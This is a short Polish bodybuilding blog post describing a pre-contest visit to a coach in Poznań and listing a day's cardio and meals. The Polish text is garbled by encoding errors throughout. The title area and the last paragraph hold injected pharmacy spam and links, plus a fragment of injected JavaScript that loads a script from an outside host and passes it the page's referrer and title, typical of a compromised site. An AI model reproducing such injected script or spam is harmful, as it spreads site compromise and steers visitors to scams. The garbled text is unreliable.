Wizyta w Poznaniu

4.09.2011 / Michał Karmowski

dr anil pande viagra

DziAi?? byAi??em w poznaniu u Radka aby oceniAi?? mojAi?? formAi?? na 8 ty przed startem, wprowadziliAi??my pewne zmiany dietetyczne , ktore od jutra wprowadzam w A?ycie , miaAi??em dziAi?? trenowaAi?? ale w tym tygodniu mam jeszcze wyjazd do Zielonej GA?ry i musiaAi??em przesunAi??Ai?? trening na jutro. DziAi??ki uprzejmoAi??ci mojego nowego pracodawcy od wczorajAi?? mam w domu bieA?niAi?? i w koAi??cu nie muszAi?? chodziAi?? do klubu aby pospacerowaAi?? :-)

rano aeroby 30 min na bieA?ni 6,6km/h i 10% incline

bezpoAi??rednio po 2 miarki bcaa powder i 2 miarki l-glutamine extreme

1-600g biaAi??ek jaj, 150g pAi??atkA?w, 100g awokado

2-350g dorsza, 75g ryA?u 20g oleju lnianego

3 , 4, 5-300g kurczaka, 75g ryA?u, 40g orzechA?w wAi??oskich

6-350g dorsza, 75g ryA?u , 100g awokado

30 min aerobA?w-rower

7-300g steka i 40g masAi??a orzechowego jori

 

od jutra peAi??na gama supli razem z rozpiskAi??…} zithromax online sales Purchase Cheap s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Cheap http://moksbullmastiff.com/?p=601 online sildalis how much Buy Purchase http://house-ceremony.com/%e6%9c%aa%e5%88%86%e9%a1%9e/purchase-albendazole-online/ kamagra store reviews. Kamagra reviews. kamagra oral jelly review forum.